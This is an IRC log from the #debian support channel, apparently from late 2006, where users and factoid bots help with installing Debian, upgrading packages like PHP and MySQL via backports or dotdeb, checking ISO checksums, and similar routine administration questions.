| 15:07.58 | Vme- | really |
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| 15:08.05 | Vme- | i have a D-Link card as well |
| 15:08.05 | pumpkin0 | galois-: yes. |
| 15:08.06 | fnord5 | yeah ubuntu runs apt |
| 15:08.25 | galois- | pumpkin0: thanks - will investigate for my post christmas play on my windows machine |
| 15:08.30 | elvenpath | ubuntu is a fork of debian actually. |
| 15:09.07 | abrotman | Vme-: that has nothing to do with your kernel |
| 15:09.55 | abrotman | ubuntu is offtopic actually :) |
| 15:09.56 | elvenpath | Vme-: the module assistant does all the work for you. have a look at its documentation |
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| 15:10.07 | CharminTheMoose | #debian is not #ubuntu!!! |
| 15:10.38 | galois- | abrotman/charmin: apologies |
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| 15:12.22 | pumpkin0 | fnord5: if you want eyecandy in debian (a old compiz) go etch. Or enjoy the unstable version and hope for the best. |
| 15:12.32 | smellydog | hi, everybody |
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| 15:13.29 | smellydog | Can I have both Linux and Windows firefox in one USB drive and use the same profile? |
| 15:13.39 | elvenpath | second beer, and its just 4pm. oi oi |
| 15:13.50 | asg | elvenpath: lightweight |
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| 15:14.00 | JB[away] | smellydog i think no, are not the same files |
| 15:14.25 | fnord5 | how unstable is the unstable?how long has it been out? |
| 15:14.32 | craigevil | you can use the same bookmarks, passwords, cookies but not much more than that |
| 15:14.33 | elvenpath | asg: what are you having? |
| 15:14.33 | asg | fnord5: /msg dpkg sid faq |
| 15:14.45 | ne0m | yo |
| 15:14.48 | pumpkin0 | fnord5: it breaks 1-2 every month and the bts is huge. |
| 15:14.56 | fnord5 | bts? |
| 15:14.58 | asg | elvenpath: lager but it's only 10am |
| 15:14.59 | smellydog | JB: cann't share extensions? |
| 15:15.13 | ole | any ideas why my cron is executing a script, without logging any errors, but the script is not really executed. I tried becoming the user the cron uses to exe the script and It works as supposed |
| 15:15.18 | pumpkin0 | !tell fnord5 about bts |
| 15:15.21 | craigevil | if they are extensions that will work on both probably |
| 15:15.37 | elvenpath | asg: cheers! |
| 15:15.47 | pumpkin0 | smellydog: ask in #firefox |
| 15:15.53 | abrotman | smellydog: you want to do what ? |
| 15:15.54 | craigevil | bah Sid rarely breaks, but when it does you need to know how to fix it |
| 15:16.08 | abrotman | broke twice this week |
| 15:16.46 | pumpkin0 | and in OFTC#debian somebody mixed stable and unstable and killed the package system with 3 installs .. |
| 15:16.49 | fnord5 | whats the stable version |
| 15:16.54 | pumpkin0 | fnord5: sarge |
| 15:17.05 | smellydog | abrotman: I found a Firefox portable, and its just for Windows |
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| 15:17.28 | galois- | fnord5: sarge is very old and probably too old for your needs, testing is in the middle |
| 15:17.28 | abrotman | smellydog: you want to use one FF profile from a USB device for linux and windows ? |
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| 15:17.39 | pumpkin0 | fnord5: sarge is old and very, very stable. There are no more error or stablility problems. And no eyecandy. |
| 15:17.43 | smellydog | abrotman: yes |
| 15:17.57 | abrotman | smellydog: i've seen something like that .. maybe ask #firefox on irc.mozilla.org |
| 15:18.23 | abrotman | but i think you can just tell FF where its profile is |
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| 15:18.39 | smellydog | abrotman:both executable in USB will perfect. |
| 15:18.50 | smellydog | OK,I'll go there |
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| 15:19.09 | abrotman | smellydog: wait .. share a profile . or share an exe? |
| 15:19.56 | galois- | abrotman: think he wants profiles, same browsing experience/history for both linux and windows machines across a campus |
| 15:19.59 | fnord5 | !debian |
| 15:19.59 | dpkg | debian is probably http://www.debian.org. See http://www.debian.org/doc/manuals/project-history/index.en.html#contents |
| 15:20.08 | smellydog | abrotman:I want exe and Linux executable bin in USB and they use the same profile. |
| 15:20.12 | galois- | fnord5: you can also /msg dpkg |
| 15:20.18 | abrotman | smellydog: ah ok |
| 15:20.39 | fnord5 | thanks can dpkg google? |
| 15:20.40 | dpkg | fnord5: no worries |
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| 15:20.51 | pumpkin0 | fnord5: no. |
| 15:21.11 | abrotman | !google fnord5 |
| 15:21.12 | tolecnal | Results for fnord5 on Google: |
| 15:21.12 | tolecnal | -- |
| 15:21.13 | Jimmymaniac | Results for fnord5 on Google: |
| 15:21.14 | Jimmymaniac | -- |
| 15:21.20 | abrotman | tolecnal: TURN IT OFF |
| 15:21.23 | abrotman | Jimmymaniac: TURN IT OFF |
| 15:21.57 | abrotman | well .. he used to google |
| 15:22.03 | pumpkin0 | fnord5: dpkg (the one in this channel, not the prog in debian) is a bot filled with shitloads of factoids. ask him about details with /msg dpkg help |
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| 15:22.33 | fnord5 | yea i know hes a bot,but some of them can wiki/google stuff |
| 15:22.40 | abrotman | he used to be able to |
| 15:23.38 | tarzeau | abrotman: got any new games? |
| 15:23.46 | abrotman | play with tarzeau ? |
| 15:24.10 | tarzeau | i'm trying supertux 0.3.0. they've made the src package like 37mb large |
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| 15:27.08 | fnord5 | how easy is a install? |
| 15:27.09 | tolecnal | abrotman: Really sorry about that, it's turned off. Sorry for the inconvinence it may have caused, and I'd also like to take this chance to wish you a merry christmas and a good holiday season. |
| 15:27.39 | abrotman | and to you! |
| 15:27.40 | abrotman | thanks! |
| 15:27.41 | pumpkin0 | fnord5: SATA discs or any really fish hardware ? |
| 15:27.49 | fnord5 | nope |
| 15:27.58 | fnord5 | basic gateway laptop |
| 15:28.25 | pumpkin0 | fnord5: press <enter> until the installer asks for the root password. Then press <enter> until the login comes up. |
| 15:28.56 | fnord5 | so um yea simple |
| 15:29.00 | war95 | Anyone here use sane (AND scans over a network?) when I run saned (not in inetd) it works OK (using ETCH) but in inetd it fails and I am following the docs, any ideas? |
| 15:29.21 | pumpkin0 | fnord5: yes, but only if the hardware is OK and supported. |
| 15:29.28 | fnord5 | i just didint know if thered be any tricky surprises |
| 15:29.33 | fnord5 | cool |
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| 15:29.54 | yang | how can i speed up the process of updating a package if it's been maintained by another maintainer? |
| 15:29.58 | blackelf | ho ho ho, marry xmass! |
| 15:30.21 | tarzeau | You were wearing an amulet of strangulation. |
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| 15:30.31 | pumpkin0 | fnord5: you have to setup the network (IP, gateway, DNS) root-password, 1 user... that's about it. And tasksel will ask you if you want a office or server or develeopment install ... |
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| 15:31.00 | wfq | hello |
| 15:31.26 | fnord5 | it cant autodetect my wifi stuff? |
| 15:31.40 | pumpkin0 | fnord5: go for ethernet first. |
| 15:31.46 | fnord5 | i dont have it |
| 15:32.06 | pumpkin0 | fnord5: hmmm... that is a odd hardware. |
| 15:32.24 | fnord5 | l i have an ethernet port,but i only use hardware |
| 15:32.28 | fnord5 | oops |
| 15:32.29 | LLcoolM | does anyone know if there are microcode updates to intel pentium 3 (coppermine) processors? |
| 15:32.31 | fnord5 | wifi* |
| 15:32.36 | wfq | i have just download a debian image but when i try to burn it i get the following error: this is a not valid nero image |
| 15:32.46 | wfq | do you think this file can be corrupt? |
| 15:32.56 | pumpkin0 | LLcoolM: there are some updates. the BIOS takes care of that. |
| 15:33.13 | blackelf | abrotman: kdm was terrible idea, it doesnt speed anything up, and it fucks up the fonts in Xsession that follows |
| 15:33.19 | fnord5 | i dont really have the money to pay for internet |
| 15:33.22 | LLcoolM | pumpkin0: yeah, but my bios is from somewhen 2000 and i |
| 15:33.29 | pumpkin0 | wfq: that is not a case of thinking ... just check the md5 the be sure. |
| 15:33.30 | abrotman | blackelf: i didn't tell you to use kdm |
| 15:33.32 | LLcoolM | 'd like to know if there are newer changes to be updated |
| 15:33.55 | pumpkin0 | LLcoolM: check the manufactures page. |
| 15:33.59 | kspath | abrotman, now I know why the people that go to #postfix and #exim after being told to do so do not get any answers... They do not read or understand the basic documentation and the other channels tell them the answer is there |
| 15:34.11 | blackelf | it seems kde-preload was written by mentally challanged buyts, any attempts to make it usable gives hangup |
| 15:34.38 | fnord5 | im going for the i386 download right? celeron M |
| 15:34.40 | wfq | pumpkin0, where do i need to check the md5? |
| 15:34.48 | pumpkin0 | fnord5: yes. |
| 15:34.55 | kspath | abrotman, of course it is scary that more and more people think they need a smtpd with no understand of smtp esmtp or documentation and how to use it |
| 15:35.01 | cahoot | blackelf, really productive input |
| 15:35.19 | abrotman | kspath: have you been visiting those channels ? |
| 15:35.24 | fnord5 | so will it autodetect my wifi settings? |
| 15:35.26 | pumpkin0 | wfq: calulate the MD5 of the downloaded files and check them against the offical MD5 from debian.org |
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| 15:35.31 | unseensoul | hi |
| 15:35.31 | blackelf | cahoot: ok, better inut, desspite the name, kde-preload doesnt preload anything, it only starts a session |
| 15:35.33 | pumpkin0 | fnord5: no. |
| 15:35.39 | kspath | abrotman, I am monitoring them to get a good laugh sometimes |
| 15:36.17 | abrotman | that's not good |
| 15:36.30 | liable | kspath: hehe, the guys that know about email are even worse than #debian used to be in regards to noobs and elitism :) |
| 15:36.47 | kspath | liable, exactly, that is why I love it |
| 15:36.52 | blackelf | SMTP/POP3 email is a fucked up protocol |
| 15:37.10 | kspath | blackelf, plural two totally different ones |
| 15:37.12 | blackelf | developed by some naive guys with no regard to security |
| 15:37.21 | ne0m | hello can someone help me with install |
| 15:37.26 | kspath | blackelf, you have no regard for reality? |
| 15:37.35 | wfq | pumpki0, I have no idea what are you talking about but i imagine this will be something like checking the checksum to be sure if the file is exactly the same than the another one which is the origin place |
| 15:37.38 | blackelf | kspath: pop3 and smtp are only usable for small networks |
| 15:37.43 | ne0m | how do i install the gui?? |
| 15:37.47 | JB[away] | !bug clamav |
| 15:37.47 | dpkg | bug clamav can be viewed at http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=clamav |
| 15:37.55 | kspath | blackelf, you are amusing |
| 15:37.58 | blackelf | ne0m: install kde? and x-windows-system |
| 15:38.01 | fnord5 | !chksum |
| 15:38.04 | blondie | well yes... imap and smtp is what you want |
| 15:38.05 | pumpkin0 | wfq: yes. md5sum, the standard checksum used more or less everywhere. |
| 15:38.05 | ne0m | ya |
| 15:38.15 | wfq | join #debian-es |
| 15:38.18 | blondie | blackelf: and what are you going to use for sending email instead of smtp? |
| 15:38.22 | ne0m | well i duno which i should use....kde or something else |
| 15:38.27 | abrotman | JB[away]: bugs.debian.org/clamav |
| 15:38.36 | abrotman | ne0m: pick which you want to use ? |
| 15:38.41 | pumpkin0 | ne0m: apt-get install kde x-window-system |
| 15:38.43 | blackelf | blondie: dunno, but someone should reinvent smpt from begin, this time with regard to security |
| 15:38.44 | abrotman | ne0m: xwinman.org to find one |
| 15:39.06 | blackelf | actually entire internet is stupidly builded, like allows DDoS |
| 15:39.08 | kspath | blackelf, been done |
| 15:39.14 | kspath | blackelf, you are new |
| 15:39.22 | wfq | in which case the file is corrupt i need to donwlod it again, that's to say it is not possible to fix it |
| 15:39.28 | wfq | isnt'? |
| 15:39.32 | kspath | blackelf, current DDoS is NOTHING like it used to be |
| 15:39.44 | JB[away] | <PROTECTED> |
| 15:40.01 | pumpkin0 | wfq: md5 cannot fix the image. |
| 15:40.02 | JB[away] | LibClamAV Error: Can't load /var/lib/clamav/main.cvd: MD5 verification error <- have anyone the same error? |
| 15:40.07 | JB[away] | pumpkin0 sorry |
| 15:40.17 | kspath | blackelf, there was a time you could down most DNS servers and mail servers on the "internet" almost by accident things are so much better |
| 15:40.20 | pumpkin0 | JB[away]: ? |
| 15:40.41 | wfq | ok, i understand. Maybe i need to download other imagine again. |
| 15:40.43 | abrotman | tarzeau: http://rrgbis.sourceforge.net/screenshots.php |
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| 15:41.10 | pumpkin0 | wfq: Or you could get a decent CD-writing prog and try again. |
| 15:41.17 | kspath | blackelf, You do understand that the internet grew up from what was originally designed to be a large "private" network that could handle failures ? |
| 15:41.19 | blackelf | kspath: someone should invernt internet2, where all transmissions are crypto signed (and possibly encrypted), and attacked host can inform backbone servers to stop sending him data and help track ddos |
| 15:41.31 | ne0m | i get an error.... |
| 15:41.44 | pumpkin0 | blackelf: internet2 is online for +5 years now. |
| 15:41.44 | ne0m | could not open lock file |
| 15:41.46 | blackelf | kspath: yeah, thats why it should be reinvented, only now its too late |
| 15:41.52 | pumpkin0 | ne0m: you have to be root. |
| 15:41.53 | blackelf | pumpkin0: is it? |
| 15:41.53 | PerfDave | blackelf: IPv6! |
| 15:41.55 | ne0m | permission denied.. |
| 15:42.05 | PerfDave | "crypto signed" is prettymeaningless anyway |
| 15:42.06 | wfq | pumpki0, lol lol lol... but which do you recommend me?. I am now using windows. I haven't got anything like k3b... maybe clone? |
| 15:42.08 | blackelf | it have the futures I mentioned? |
| 15:42.26 | kspath | blackelf, now you are saying it is too late and you keep saying someone else should... get in your garage and build it |
| 15:42.26 | blackelf | or just bigger ip pool |
| 15:42.34 | pumpkin0 | blackelf: http://www.internet2.edu/ |
| 15:42.38 | ne0m | damn i thought i was in root |
| 15:42.44 | kspath | blackelf, IPv6 LEARN IT |
| 15:42.44 | ne0m | nvm i got it... thnks |
| 15:42.55 | blackelf | kspath: even if anyone builds it, it will take years to have even 5% people using it |
| 15:43.11 | kspath | blackelf, never start else it might happen |
| 15:43.46 | abrotman | blackelf: i2 already exists |
| 15:43.52 | pumpkin0 | blackelf: and ask a question about debian or go #debian-offtopic |
| 15:44.01 | abrotman | don't do that |
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| 15:44.12 | abrotman | he won't last long :) |
| 15:44.13 | kspath | abrotman, hehehehe |
| 15:44.29 | muh2000 | when will be gtk 2.10.0 available for debian =? |
| 15:44.56 | pumpkin0 | !tell muh2000 about wir |
| 15:45.04 | wfq | is clonecd stronger than nero to burn images? |
| 15:45.11 | abrotman | !info libgtk2.0-0 experimental |
| 15:45.12 | blackelf | anyone here uses loopaes encrypted artitions in fstab? |
| 15:45.14 | dpkg | libgtk2.0-0: (The GTK+ graphical user interface library), section libs, is optional. Version: 2.10.6-4 (experimental), Packaged size: 1802 kB, Installed size: 4604 kB |
| 15:45.56 | pumpkin0 | blackelf: i use a AES encrypted ramfs to store my important data. |
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| 15:46.05 | wfq | i have to reboot my machine. see you soon |
| 15:46.12 | blackelf | pumpkin0: its entry is in fstab? |
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| 15:46.49 | blackelf | pumpkin0: how you stop debians startup fsck from reporting errors and asking to go into maintance mode? |
| 15:46.52 | pumpkin0 | blackelf: no, since the fstab is to insecure to store the key. |
| 15:47.04 | blackelf | PerfDave: same question then |
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| 15:47.18 | PerfDave | blackelf: Uhm, it doesn't. |
| 15:47.37 | blackelf | PerfDave: and mine do, wtf |
| 15:47.43 | ne0m | wehre can i get tutorial on all the cmds n stuff on nix? |
| 15:47.56 | blackelf | ne0m: you probably ment bash |
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| 15:48.05 | ne0m | ya |
| 15:48.22 | pumpkin0 | ne0m: "man bash" <= warrning complex |
| 15:48.26 | kspath | ne0m, linux is not unix but many shell commands are the same or nearly the same |
| 15:48.40 | Zap-W | how to tell wget to download recursively from http://site.com/directory and not to start from http://site.com/ |
| 15:48.49 | *** part/#debian wizard123 (i=mati@siodemka.p.lodz.pl) |
| 15:48.50 | abrotman | man wget |
| 15:48.58 | ne0m | but im sure debain has some stufff that differs from other distros |
| 15:49.06 | Zap-W | abrotman, i tried that |
| 15:49.11 | abrotman | read it again |
| 15:49.15 | nkuttler | Zap-W: you probably want --no-parent. man wget. |
| 15:49.16 | PerfDave | blackelf: Did you look at the documentation which came with the loop-aes-modules-* package? |
| 15:49.16 | kspath | ne0m, www.debian.org |
| 15:49.23 | abrotman | !tell ne0m about grounding |
| 15:49.25 | abrotman | !tell ne0m about refcard |
| 15:49.49 | blackelf | PerfDave: yeah, and..? |
| 15:50.06 | blackelf | PerfDave: wtf debian tries to fsck even noauto partitions from fstab. |
| 15:50.10 | PerfDave | blackelf: *shrug* I followed that, and never had any problems. |
| 15:50.55 | blackelf | PerfDave: me too, an have that one problem. |
| 15:50.55 | kspath | ne0m, a decent debian book is The Debian System, concepts and techniques by Martin Krafft if you have trouble with debian docs |
| 15:50.55 | PerfDave | blackelf: Well, it doesn't try to fsck my nonauto partitions :) |
| 15:50.55 | ne0m | ight thnks |
| 15:50.55 | maxy | Is there a public log of this channel? |
| 15:51.09 | abrotman | no |
| 15:51.49 | kspath | maxy, what use would that be? |
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| 15:52.57 | maxy | (nevermind, I just need some looong log of a huge channel to test some algorithm) |
| 15:53.38 | kspath | maxy, easy enough to log for private use and delete when you are done testing |
| 15:54.07 | maxy | yes, sure. |
| 15:54.39 | maxy | would just have made things easier. |
| 15:54.42 | tarzeau | abrotman: yuck 54mb |
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| 15:54.47 | abrotman | tarzeau: so waht |
| 15:55.54 | ne0m | off topic but yea ne1 know whjere to get some cheap hdd's? |
| 15:56.05 | asg | ne0m: ebay |
| 15:56.17 | abrotman | !ne1 |
| 15:56.17 | dpkg | There is no such nick ne1. If you can't be bothered to type 'anyone' we can't be bothered to help you. IRC shorthand for "I don't have two braincells to rub together" (circa EFnet #amiga mid-90s) |
| 15:56.19 | dorel__ | i believe that cheap hdds = bad hdds |
| 15:56.25 | abrotman | or used/old |
| 15:56.30 | ne0m | wat bout new |
| 15:56.40 | ne0m | lol not always |
| 15:56.45 | abrotman | newegg ? |
| 15:57.09 | abrotman | seconded |
| 15:57.30 | tarzeau | You die... But wait... Your medallion begins to glow!--More-- |
| 15:57.38 | ne0m | damn wish i had a faster connection.... |
| 15:57.52 | asg | tarzeau: if you are dead, how do you know that it's glowing? |
| 15:58.20 | abrotman | and why? |
| 15:58.21 | AeonLibrarian | what is this all about xD |
| 15:58.23 | ne0m | ~[ asg ]~ lol |
| 15:58.31 | asg | ne0m: irc was plenty fast on 2400 baud |
| 15:59.11 | kspath | asg, plenty is kinda much? I did not enjoy it much until 9600 |
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| 15:59.26 | kspath | asg, it was usable though |
| 15:59.56 | SnarceZ | hi all |
| 15:59.59 | kspath | asg, remember those modems you had to dial the phone and switch them on AFTER you heard the modem at the other end? that was fun |
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| 16:00.10 | asg | kspath: acoustic couplers rock |
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| 16:00.20 | SnarceZ | I'm tring to connect a gps on my pc using blutooth |
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| 16:00.40 | SnarceZ | i've tried to install bluez |
| 16:01.10 | Thms | Need I i386 or AMD64 installer for a core 2 duo ? |
| 16:01.15 | kspath | asg, there were the 1200 baud ones that were already connected to the line but you had to throw a switch after the modem answered on remote end that was between the couplers and 2400 modems though |
| 16:01.16 | SnarceZ | but when i run the modprobe he says that che module dos'n exist |
| 16:01.24 | ne0m | slow slow dsl...is suxor |
| 16:01.42 | kspath | ne0m, my DSL is as fast as my cable modem was |
| 16:01.56 | asg | kspath: sounded like the Mighty Mo we had for the commie 64 |
| 16:01.58 | ne0m | not this line... |
| 16:02.08 | ne0m | i got the cheap 14$ from verizon... |
| 16:02.17 | ne0m | max i hit is 100k/s |
| 16:02.34 | abrotman | 768 down .. 128 up ... IIRC |
| 16:02.36 | kspath | asg, these were made by datasomething can not remember that was when there were dozen and dozens of modem makers |
| 16:02.46 | ne0m | ya |
| 16:02.58 | abrotman | Thms: either |
| 16:03.02 | asg | kspath: zyxel, usr |
| 16:03.10 | Thms | abrotman, either ? |
| 16:03.17 | kspath | asg, those were MUCH later |
| 16:03.19 | abrotman | core2 can run i386 or amd64 |
| 16:03.34 | asg | kspath: yeah |
| 16:03.42 | Thms | abrotman, ok and for the etch installer RC1 it is this page: http://www.debian.org/devel/debian-installer/ ? |
| 16:03.47 | abrotman | yep |
| 16:05.19 | Thms | abrotman, i386, amd64 or ia64 ? |
| 16:05.19 | asg | kspath: thanks for that trip down amnesia lane, I need another beer |
| 16:05.23 | kspath | asg, sorry |
| 16:05.25 | kspath | hehehe |
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| 16:05.51 | CasinoLuv | where can I get help about running debian on wl-500g? |
| 16:06.25 | clearscreen | CasinoLuv, aint that a wireless pcmcia card with a ralink chipset? |
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| 16:07.16 | CasinoLuv | nope...router asus |
| 16:07.55 | clearscreen | ah, then I can't help you. sorry. |
| 16:08.12 | CasinoLuv | have been trying for 2 days with no sucess to do what's written in here http://wpkg.org/index.php/Running_Debian_on_ASUS_WL-500G_deluxe ...no problems |
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| 16:08.56 | dvs | Thms: not ia64 |
| 16:09.09 | Thms | okai dvs |
| 16:09.25 | asg | kspath: no worries :) |
| 16:09.35 | abrotman | tarzeau: you should totally package that |
| 16:09.45 | abrotman | Thms: i already todl you |
| 16:09.54 | Thms | okay |
| 16:10.30 | tarzeau | abrotman: i'll test it first |
| 16:10.54 | abrotman | tarzeau: it compiles fine .. it's pretty good graphics .. at it compiles at least :) |
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| 16:11.56 | tarzeau | abrotman: what about the gameplay? |
| 16:12.10 | abrotman | tarzeau: i didn't play it that long .. i'm getting ready to head out for a bit |
| 16:12.29 | tarzeau | abrotman: k i'm downloading |
| 16:12.37 | dvs | abrotman: you can go to Denver now. ;-) |
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| 16:13.57 | solars | does anyone know a MSN client for linux that has working webcam conferencing? |
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| 16:14.45 | Cyis | solars: gnomemeeting? |
| 16:15.06 | solars | Cyis, I'll try that, thanks :) |
| 16:15.06 | PerfDave | Cyis: gnomemeeting is not an MSN client |
| 16:15.11 | nkuttler | CasinoLuv: maybe someone at nslu2-general has played with it |
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| 16:15.30 | solars | Patrik, th |
| 16:15.30 | solars | x |
| 16:15.34 | Cyis | PerfDave: but it does have webcam conferencing |
| 16:15.43 | Patrik | thx for what? lol... |
| 16:16.00 | solars | Patrik, sorry :) I meant PerfDave |
| 16:16.00 | PerfDave | Cyis: Does it have webcam conferencing which is compatiable with MSN's? |
| 16:16.06 | Patrik | hehe |
| 16:16.22 | solars | Cyis, I need a MSN client (unfortunately) |
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| 16:16.26 | Cyis | PerfDave: as far as I recall gnomemeeting is compatible with M$ Netmeeting |
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| 16:16.37 | Patrik | I'm currently trying to set up a postgresql server |
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| 16:16.49 | PerfDave | Cyis: Netmeeting is not the same thing as MSN videoconferencing, as I understand it. |
| 16:16.59 | Cyis | well then I guess he's SOL |
| 16:17.05 | Patrik | does anybody know what the first steps are on debian? the basic db structure seems to be there already.. |
| 16:17.09 | abrotman | it's called ekiga now |
| 16:17.16 | PerfDave | Patrik: Reading /usr/share/doc/postgresql* ? |
| 16:17.23 | Cyis | abrotman: that's right... forgot about the name change |
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| 16:18.04 | PerfDave | Patrik: The PostgreSQL documentation is pretty good too. There are postgresql-doc* packages |
| 16:18.33 | Patrik | PerfDave: i know psql in principle, just not how the debian packages are designed |
| 16:19.04 | PerfDave | Patrik: Well, the Debian documentation may help... |
| 16:19.20 | Patrik | PerfDave: yeah, there is something in /usr/share/doc, thx |
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| 16:21.56 | abrotman | Patrik: su - root .. su - postgres .. create users .. enjoy |
| 16:22.11 | Patrik | abrotman: yeah, just found that, thx :) |
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| 16:23.01 | PerfDave | abrotman: That's not really Debian-specific |
| 16:23.09 | abrotman | no .. it's not :) |
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| 16:24.30 | Patrik | I think you usually have root already as psql superuser... at least that's how I remember it |
| 16:24.34 | Petey0 | Evening all |
| 16:25.02 | Petey0 | How do I get my php4 to update to the latest ? |
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| 16:26.01 | dvs | Petey0: with Debian 3.1? |
| 16:26.05 | Petey0 | Yupz |
| 16:26.34 | PerfDave | Petey0: apt-get update; apt-get upgrade |
| 16:26.38 | dvs | Petey0: Well, 3.1 is updated only with security fixes or minor bug fixes |
| 16:26.40 | Petey0 | <PROTECTED> |
| 16:26.44 | PerfDave | Will upgrade all your packages to the latest versions available |
| 16:26.58 | Petey0 | Perfdave, also lib-apache-php4 ? |
| 16:27.29 | PerfDave | Petey0: All your packages |
| 16:27.42 | Petey0 | dvs, which version should I get then |
| 16:27.51 | Petey0 | to be sure that I at least have php 4.4.1 ? |
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| 16:28.05 | dvs | !info php4 sarge |
| 16:28.11 | dpkg | php4: (server-side, HTML-embedded scripting language (meta-package)), section web, is optional. Version: 4:4.3.10-16 (sarge), Packaged size: 1 kB, Installed size: 24 kB |
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| 16:28.32 | elshaa | hi |
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| 16:29.06 | PerfDave | Petey0: Don't do it! |
| 16:29.07 | Petey0 | and they tell me that I at least need 4.4.1 |
| 16:29.46 | Petey0 | PerfDave, explain ? |
| 16:29.52 | elshaa | what service is responsible for the message "discovering hardware for these modules: intel_agp .....". Since I have a custom kernel with no modules, it says "skipping unavailable/build-in <module_name> module. |
| 16:30.09 | PerfDave | Petey0: phpbb is a horrible, horrible piece of software, with a terrible record for security |
| 16:30.13 | dvs | elshaa: discover |
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| 16:30.20 | elshaa | dvs: thanks |
| 16:30.25 | xmb | how to reconfigure the install/preinit step of packages |
| 16:30.45 | Petey0 | dvs, is there another way to get it upgraded ? |
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| 16:31.19 | dvs | Petey0: you could try and upgrade to etch but I wouldn't recommend it until it is officially released |
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| 16:32.15 | Petey0 | dvs, and somebody also said something about this site: |
| 16:32.21 | Petey0 | http://www.dotdeb.org/mirrors |
| 16:32.27 | PerfDave | I wouldn't recommend trying to dist-upgrade to etch currently anyway. |
| 16:32.29 | Petey0 | Is that any good for upgrading ? |
| 16:32.31 | dvs | Petey0: never heard of it |
| 16:32.37 | CasinoLuv | tnks |
| 16:32.42 | Petey0 | It's like some site |
| 16:32.53 | Petey0 | that says you can run PHP5 and PHP4 together |
| 16:32.55 | PerfDave | !dotdeb |
| 16:32.55 | dpkg | dotdeb is probably for the latest php and mysql releases, packaged up and backported for your pleasure, go to http://dotdeb.org/, or but realize that we cannot support dotdeb packages here, so you will be ON YOUR OWN, or there is little reason to use dotdeb.org now that backported versions of php and mysql are available from backports.org. ask me about <backports> and <backports.org> |
| 16:32.56 | Petey0 | on 1 server |
| 16:33.05 | PerfDave | !backports |
| 16:33.05 | dpkg | i guess backports is a package from a newer Debian branch, compiled from source for an older branch to avoid dependency and ABI complications. http://www.debian.org/doc/manuals/reference/ch-package.en.html#s-port or http://backports.org/ or http://www.apt-get.org/ or ask me about <simple sid backport>, or in .bashrc, alias apt-get='apt-get -t sarge-backports' |
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| 16:33.20 | PumpkinPie | anyone have a high traffic site |
| 16:33.24 | findme | mysql is broken in testing? |
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| 16:34.00 | PerfDave | findme: Have you chekced the BTS? |
| 16:34.15 | findme | PerfDave, BTS ? |
| 16:34.19 | findme | !BTS |
| 16:34.20 | dpkg | methinks bts is the Bug Tracking System for Debian packages, http://bugs.debian.org/ or to go directly to the bug page for a particular package/bug, try http://bugs.debian.org/packagename or http://bugs.debian.org/bugnumber apt-get install reportbug, and check out querybts too. Unstable users are required to check the BTS, useful for sid: apt-get install apt-listbugs, or apt-get install apt-listchanges |
| 16:34.24 | Petey0 | Perf, so it could be they have a newer version php for the older releases ? |
| 16:34.43 | PerfDave | Petey0: Yes, but it won't be supported here if it doesn't work. |
| 16:35.21 | findme | i had a hard time configuring php, but with dotdeb and repeated apt-get install it worked. |
| 16:35.32 | findme | but mysql is borked |
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| 16:36.25 | findme | there is a link do you need it , i can try to dig it out |
| 16:36.37 | PerfDave | findme: Any reason for dotdeb rather than backports.org? |
| 16:37.24 | findme | PerfDave, yes, google showed dotdeb first |
| 16:37.48 | Petey0 | Update works |
| 16:38.09 | PerfDave | "update works"? |
| 16:38.10 | Petey0 | Thank you for the advice :) |
| 16:38.41 | Petey0 | All it needed was a bump from dotdeb |
| 16:38.55 | PerfDave | Petey0: Eww |
| 16:38.57 | Petey0 | and it reinstalled the 4.4.1 instead of the 4.3.x branch |
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| 16:39.57 | findme | apt-get install mysql-server-5.0 mysql-server-5.0: Depends: libreadline4 (>= 4.3-1) ;not going to be installed any help>? |
| 16:40.17 | PerfDave | Petey0: Did you not read what dpkg told you abotu using dotdeb? |
| 16:40.24 | PerfDave | findme: Not if you're using dotdeb :) |
| 16:40.55 | findme | PerfDave, open to suggestions / advice. |
| 16:41.17 | PerfDave | findme: I suggest you don't ask questions here if you're using dotdeb packages. |
| 16:41.39 | Petey0 | Perf, what's the difference between backports and dotdeb then ? |
| 16:42.10 | findme | PerfDave, ok thanks. i will try to use backports |
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| 16:42.58 | PerfDave | findme: backports.org packages aren't really supported here either TBH :) |
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| 16:43.15 | PerfDave | Petey0: backports.org packages seem to be more robust |
| 16:43.31 | findme | http://en.wikibooks.org/wiki/MySQL/Administration |
| 16:44.04 | Petey0 | PerfDave, got a link for backports ? |
| 16:44.20 | Petey0 | I can always have a look if that site has some more packages |
| 16:44.31 | PerfDave | Petey0: Plus backports.org allows you to pick-and-choose the packages you want easily, dotdeb seems to be an all-or-nothing affair |
| 16:45.37 | Petey0 | Aha |
| 16:45.41 | Petey0 | and they use Mutt ? |
| 16:45.57 | PerfDave | I have n o idea what e-mail client they use. |
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| 16:46.37 | Petey0 | All backports are deactivated by default ? |
| 16:46.44 | Petey0 | You have to set a higher priority for each backport. For mutt, you add these lines: |
| 16:46.44 | silvertip257 | I've tried to use the netinst method for Debian 3.1 R4 |
| 16:46.54 | PerfDave | Petey0: That is what we call an "example". |
| 16:46.56 | Petey0 | What's Mutt then ? |
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| 16:47.02 | liable | ohnos |
| 16:47.03 | silvertip257 | the grub installer didnt work for me ... now I'm trying to use the UBCD to repair /install grub |
| 16:47.03 | PerfDave | Petey0: It's an e-mail program. |
| 16:47.09 | silvertip257 | idk what command to use |
| 16:47.10 | Petey0 | O,okay :) |
| 16:47.18 | anapivirtua | Merry Christmas / Joyeux nowel a tous :) |
| 16:47.50 | PerfDave | Petey0: Really, I recommend you read some Debian documentation on how apt works. You're staggering along not understanding what you're doing, and you're going to end up trashing your system. |
| 16:48.12 | silvertip257 | how might I install grub since my Debian 3.1 distro didnt do it right |
| 16:48.14 | Petey0 | PerfDave, I already took a course in Debian |
| 16:48.22 | Petey0 | but sometimes my head is like blurry |
| 16:48.24 | PerfDave | Petey0: I'd take it again :) |
| 16:48.31 | PerfDave | Petey0: Which course did you take? |
| 16:48.32 | Petey0 | PerfDave, I know :) |
| 16:48.43 | Petey0 | PerfDave, Course in Dutch, Debian for Dummies |
| 16:48.46 | PerfDave | silvertip257: "didn't do it right"? |
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| 16:49.07 | PerfDave | Petey0: Got a link? |
| 16:49.57 | Petey0 | PerfDave, nope, local linux group gave it |
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| 16:50.02 | Petey0 | 8 hours, 5 days |
| 16:50.28 | PerfDave | Petey0: 8 hours total, or 8 hours per day? |
| 16:50.34 | Petey0 | 8 hours a day |
| 16:50.55 | PerfDave | Petey0: OK, after 40 hours of Debian training, you still don't know how apt works? I'd get my money back if I were you :) |
| 16:51.32 | Petey0 | We didn't do anything with installation |
